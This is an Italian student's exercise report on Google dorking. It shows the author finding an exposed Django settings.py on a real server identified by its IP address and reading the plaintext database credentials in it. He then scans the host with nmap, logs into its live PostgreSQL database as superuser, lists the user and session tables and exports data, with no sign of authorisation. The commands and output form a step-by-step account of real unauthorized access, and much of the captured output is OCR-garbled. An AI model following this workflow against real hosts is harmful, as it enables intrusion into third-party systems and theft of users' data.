Gelosa Matteo esercizio W10D1

In questo esercizio ho utilizzato i comandi di Google Hacking per verificare vulnerabilità online, in particolare i siti web.

Il comando che più mi ha incuriosito è stato "intitle:index of settings.py"

Digitando questo comando sono riuscito a navigare nelle directory del sito web e sono stato in grado di trovare il file settings.py.

Name	Last modified	Size Description
Parent Directo	ry	((2)
initpy	2023-03-21 15:04	1 0
<u>pycache_/</u>	2023-07-25 10:02	2 -
settings.py	2023-07-25 10:02	2 4.0K
urls.py	2023-07-24 16:36	5 1.0K
wsgi.py	2023-03-21 15:04	1 385

Apache/2.4.29 (Ubuntu) Server at 194.195.92.161 Port 80

Successivamente ho scaricato il file ed aprendolo con il mio editor di testo ho notato infinite informazioni che ovviamente non andrebbero rese pubbliche.

Quello che più mi ha colpito è stato vedere in chiaro la password, nome utente e nome database.

```
# Database
88
      # https://docs.djangoproject.com/en/2.0/ref/settings/#databases
89
90
91
92
      DATABASES = {
93
94
          'default': {
                    INE': 'django.db.backends.postgresql_psycopg2',
95
96
97
                     ': '127.0.0.1',
100
```

Per curiosità ho eseguito uno scan con nmap all'indirizzo del sito web per vedere le porte in ascolto ed un eventuale database in funzione.

```
Not shown: 990 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
53/tcp filtered domain
80/tcp open http
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
1900/tcp filtered upnp
2869/tcp filtered icslap
5432/tcp open postgresql
8080/tcp open http-proxy
```

Come si può notare sulla porta 5432 è presente il database POSTGRESQL.

Ho provato ad accedere con le informazioni presenti nel codice ed effettivamente sono riuscito ad entrare.

```
Nmap done: 1 IP address (1 host up) scanned in 6.84 seconds

(kali@kali)-[~]

$ psql -h

-p 5432 -U postgres -d ajbc_db

Password for user postgres:
psql (15.3 (Debian 15.3-0+deb12u1), server 15.2 (Ubuntu 15.2-1.pgdg18.04+1))

SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off)

Type "help" for help.

____c_db=#_whoami
```

Successivamente ho provato a navigare nelle cartelle del database e scaricare qualche file per visualizzarlo.

Role nar	me Attributes		Member of		
postgre	Superuser, Create role, Create DB, Re	plicatio	ation, Bypass RLS {}		
db-# \dt					
	List of relations				
Schema	Name	Type	Owner		
public		table	postgres		
	accueil infoscontact		postgres		
public			postgres		
public	accueil_menu	table			
	accueil_messagesite	table	postgres		
public			postgres		
public	actualite_actualite		postgres		
public	actualite_categorie	table	postgres		
public		table	postgres		
public	auth_group_permissions	table	postgres		
public	auth_permission	table	postgres		
public			postgres		
public	django_admin_log	table	postgres		
public	django_content_type	table	postgres		
public		table	postgres		
public	django_session	table	postgres		
public	forum_forum	table	postgres		
public	forum_post	table	postgres		
public	forum_topic	table	postgres		
public	forum_vueforum	table	postgres		
public	y	table	postgres		
public	mypost post	table	postgres		
public	man' must net'e	table	postgres		
public	escured to artificate and and a		postgres		
public	t_driveruser	table	postgres		
public	restaccount_driveruser_groups	table	postgres		
public	nt_driveruser_roles		postgres		
public	restaccount_driveruser_user_permissions				
public	Lescales it_pays	table	postgres		

Ecco un file scaricato in formato csv visualizzato sul mio editor di testo :